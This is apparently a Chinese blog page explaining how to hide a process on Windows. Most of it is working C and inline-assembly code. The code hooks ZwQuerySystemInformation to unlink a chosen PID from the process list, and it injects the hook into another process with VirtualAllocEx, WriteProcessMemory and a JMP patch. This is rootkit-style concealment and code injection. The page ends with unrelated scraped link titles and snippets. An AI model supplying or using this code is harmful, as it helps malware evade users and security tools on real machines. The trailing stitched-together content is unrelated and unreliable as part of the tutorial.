ZwQuerySystemInformation(SystemProcessInformation,SystemInformation,Length,ReturnLength);

 
 
 
  pSystemProcesses = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
  while (TRUE){
   printf("进程PID: %d\n",pSystemProcesses->InheritedFromProcessId);
   if (!pSystemProcesses->NextEntryOffset) {
    break;
   }
   pSystemProcesses = (PSYSTEM_PROCESS_INFORMATION)((char *)pSystemProcesses + pSystemProcesses->NextEntryOffset);
  }
 
 
 
当是我们需要隐藏的进程的时候我们可以通过增加NextEntryOffset的长度或者设置NextEntryOffset长度为0来隐藏进程。所以我们可以构造以下类似代码:
 
 
 
NTSTATUS
NTAPI
HOOK_ZwQuerySystemInformation(
         IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
         OUT PVOID SystemInformation,
         IN ULONG SystemInformationLength,
         OUT PULONG ReturnLength OPTIONAL
         )
{
NTSTATUS ntStatus;
PSYSTEM_PROCESSES pSystemProcesses=NULL,Prev;
 
_asm{
  push ebx
  push ReturnLength
  push SystemInformationLength
  push SystemInformation
  push SystemInformationClass
  call ZwQuerySystemInformationProxy //让原来函数执行完成,只有这样函数才能返回我们需要的数据然后在数据里进行修改
  mov ntStatus,eax
  pop ebx
}
 
if (NT_SUCCESS(ntStatus) && SystemInformationClass==SystemProcessesAndThreadsInformation){
  pSystemProcesses = (PSYSTEM_PROCESSES)SystemInformation;
  while (TRUE){
   if (pSystemProcesses->;ProcessId==0x12345678){ //如果是我们需要隐藏的PID就进行数据修改
    if (pSystemProcesses->NextEntryDelta){
     //当我们需要隐藏的进程后面还有进程时
     //越过我们自己进程让NextEntryDelta直接指向下一个数据块
     Prev->NextEntryDelta += pSystemProcesses->NextEntryDelta;
    }else{
     //当我们进程处于最后一个数据那么我们就把上一个数据结构的NextEntryDelta置0
     //这时系统在遍历我们进程时就不会发现了
     Prev->NextEntryDelta=0;
    }
    break;
   }
   if (!pSystemProcesses->NextEntryDelta) {
    break;
   }
   Prev=pSystemProcesses;
   pSystemProcesses = (PSYSTEM_PROCESSES)((char *)pSystemProcesses + pSystemProcesses->NextEntryDelta);
  }
}
return ntStatus;
}
 
 
 
我们为了不添加一个多余的DLL所以必须是以Shellcode方式注入到目标进程,但是要这样写完整的shellcode确实有点麻烦,我们可以取巧利用程序来实现。
 
 
 
我们把函数内需要重定位的地方全部使用__asm来完成比如上面的
 
 
 
_asm{
  push ebx
  push ReturnLength
  push SystemInformationLength
  push SystemInformation
  push SystemInformationClass
  call ZwQuerySystemInformationProxy //让原来函数执行完成,只有这样函数才能返回我们需要的数据然后在数据里进行修改
  mov ntStatus,eax
  pop ebx
}
 
 
 
调用绝对地址来实现,这样就不需要重定位了。这样我们可以把这个函数拷贝到目标进程了,再进行下目标地址的计算就ok了。所以有类似下面的实现代码:
 
 
 
BOOLEAN SetHook(DWORD dwProcessId,DWORD dwHideId)
{
BOOLEAN bRet=FALSE;
DWORD OldProtect;
DWORD dwCodeStart,dwCodeEnd,dwCodeSize;
BYTE HookCode[5]={0xE9,0,0,0,0};
HANDLE hProcess=NULL;
PVOID RemoteAllocBase=NULL;
DWORD dwFunAddress;
PUCHAR pBuffer;
 
dwCodeStart = GetFunAddress((PUCHAR)FunStart);
dwCodeEnd = GetFunAddress((PUCHAR)FunEnd);
dwCodeSize = dwCodeEnd-dwCodeStart;
 
hProcess = OpenProcess(PROCESS_ALL_ACCESS,
         FALSE,
         dwProcessId
         );
 
if (hProcess){
  RemoteAllocBase = VirtualAllocEx(hProcess,
           NULL,
           dwCodeSize,
           MEM_COMMIT,
           PAGE_EXECUTE_READWRITE
           );
  if (RemoteAllocBase){
   printf("\t申请内存地址:0x%x\n",RemoteAllocBase);
   g_lpRemoteAllocBase = RemoteAllocBase;
   if (ZwQuerySystemInformation){
    bRet=VirtualProtect((PVOID)dwCodeStart,
         dwCodeSize,
         PAGE_EXECUTE_READWRITE,
         &OldProtect
         );
    if (bRet){
     memcpy((PVOID)dwCodeStart,ZwQuerySystemInformation,5); //这里可以在本进程中取备份代码也可以在远程进程中取一般正常情况是一样的
     *(DWORD *)(dwCodeStart+6)=(DWORD)ZwQuerySystemInformation;//这里不需要用特征定位,因为肯定是在第六个字节开始的地方
     *HookCode=0xE9;
     dwFunAddress = GetFunAddress((PUCHAR)HOOK_ZwQuerySystemInformation);
     dwFunAddress -= dwCodeStart;
     dwFunAddress += (DWORD)RemoteAllocBase; //计算HOOK_ZwQuerySystemInformation在目标进程中的地址
     printf("\tHOOK_ZwQuerySystemInformation内存地址:0x%x\n",dwFunAddress);
     *(DWORD *)&HookCode[1]=dwFunAddress-5-(DWORD)ZwQuerySystemInformation;
 
     dwFunAddress = GetFunAddress((PUCHAR)HOOK_ZwQuerySystemInformation);
     for (pBuffer=(PUCHAR)dwFunAddress;
       pBuffer<(PUCHAR)dwFunAddress+(dwCodeEnd-dwFunAddress);
       pBuffer++
          )
     {
      if (*(DWORD *)pBuffer==0x12345678){
       *(DWORD *)pBuffer = dwHideId;
       break;
      }
     }
     VirtualProtect((PVOID)dwCodeStart,
           dwCodeSize,
           PAGE_EXECUTE_READWRITE,
           &OldProtect
           );
    }
   }
   bRet=WriteProcessMemory(hProcess,
         RemoteAllocBase,
         (PVOID)dwCodeStart,
         dwCodeSize,
         NULL
         );
   if (bRet){
    bRet=WriteProcessMemory(hProcess,
          ZwQuerySystemInformation,
          HookCode,
          5,
          NULL
          );
   }
  }
  CloseHandle(hProcess);
}
return bRet;
}

ring3 dll hide的更多相关文章

  1. CIA泄露资料分析(黑客工具&技术)—Windows篇

    背景 近期,维基解密曝光了一系列据称来自美国中央情报局(CIA)网络攻击活动的秘密文件,代号为“Vault 7”,被泄露文件的第一部分名为“Year Zero”,共有8761个文件,包含7818个网页 ...

  2. GridControl CardView ShowCardExpandButton or GridCardExpandButton

    关于DevExpress.XtraGrid.v13.1.dll和DevExpress.XtraGrid.v12.2.dll中ShowCardExpandButton  或者 GridCardExpan ...

  3. Windows x86/ x64 Ring3层注入Dll总结

    欢迎转载,转载请注明出处:http://www.cnblogs.com/uAreKongqi/p/6012353.html 0x00.前言 提到Dll的注入,立马能够想到的方法就有很多,比如利用远程线 ...

  4. Ring3下的DLL注入(NtCreateThreadEx + LdrLoadDll方式实现,可以注入系统进程)

    工具介绍及使用请移步:http://blog.csdn.net/sunflover454/article/details/50441014 本文首发在零日安全论坛:http://www.jmpoep. ...

  5. Dll注入:Ring3 层 APC注入

    APC,即Asynchronous procedure call,异步程序调用APC注入的原理是:在一个进程中,当一个执行到SleepEx()或者WaitForSingleObjectEx()时,系统 ...

  6. 驱动插ring3线程执行代码

    近日有在写一个小东西 需要在内核态中运行一个WIN32程序 之前提到的插入APC可以满足部分要求 但是一到WIN7 x86平台下就崩溃了WIN7下只能插入第三方的进程 一插入系统进程就崩溃,但是这样满 ...

  7. 在c#中运行js脚本(将js文件生成为.dll文件)

    原文链接:http://www.cnblogs.com/xhan/archive/2010/10/22/1857992.html 前言: 本来在搞一个Google翻译的接口--向Google翻译发送请 ...

  8. KTHREAD 线程调度 SDT TEB SEH shellcode中DLL模块机制动态获取 《寒江独钓》内核学习笔记(5)

    目录 . 相关阅读材料 . <加密与解密3> . [经典文章翻译]A_Crash_Course_on_the_Depths_of_Win32_Structured_Exception_Ha ...

  9. 告别硬编码-发个获取未导出函数地址的Dll及源码

    还在为找内核未导出函数地址而苦恼嘛? 还在为硬编码通用性差而不爽吗? 还在为暴搜内核老蓝屏而痛苦吗? 请看这里: 最近老要用到内核未导出的函数及一些结构,不想再找特征码了,准备到网上找点符号文件解析的 ...

随机推荐

  1. HDU 4729 An Easy Problem for Elfness (主席树,树上第K大)

    转载请注明出处,谢谢http://blog.csdn.net/ACM_cxlove?viewmode=contents    by---cxlove 题意:给出一个带边权的图.对于每一个询问(S , ...

  2. STL的移动算法

    要在自己定义类型中使用移动算法.须要在元素中提供移动赋值运算符.移动赋值运算符和std::move()详见<c++高级编程>第9章 class mystring { public: str ...

  3. C语言中一些非常酷的技巧(cool tricks)

    来自Quora,认为不错,就实践了一下. 1.  #if 0 ...... #endif 块中的内容不会被编译,由于凝视不同意嵌套,我们能够把临时不用的代码块放在 这里面. 2. 数组初始化的时候能够 ...

  4. HTTP状态码(HTTP Status Code)【转】

    HTTP状态码(HTTP Status Code) 一些常见的状态码为: 200 - 服务器成功返回网页 404 - 请求的网页不存在 503 - 服务不可用 所有状态解释:点击查看 1xx(临时响应 ...

  5. eclipse建立cocos2d-x开发环境

    前提: 已经安装了eclipse.能够正常开发 android应用 环境:windows 工具:1.已经集成了adt的eclipse,能够开发android应用.没有的,能够下载.下载地址:http: ...

  6. oracle动态游标

    declare   v_col1 varchar2(254);   v_col2 varchar2(254);   v_sql  varchar2(1024);   type my_cursor is ...

  7. 获取xml文件

    <?xml version="1.0" encoding="utf-8" ?><ArrayOfSystemRool xmlns:xsi=&qu ...

  8. Windows使用过程中的一些常见问题的解决方案

    Win8安装程序出现2502.2503错误解决方法 参见百度经验帖子:http://jingyan.baidu.com/article/a501d80cec07daec630f5e18.html

  9. C++虚函数在内存中的实现

    首先来一张图,一目了然: 然后把相应的代码贴上来: class A { int a; public: virtual void f(); virtual void g(int); virtual vo ...

  10. 深入A标签点击触发事件而不跳转的详解

    本文介绍下,当点击A标签时,触发事件但不跳转的实现方法,有需要的朋友参考下吧. 点击页面上的空链接,点击后页面自动刷新,并会定位到页面顶端. 不过,有时需要点击#页面但不作跳转,可以这样写: < ...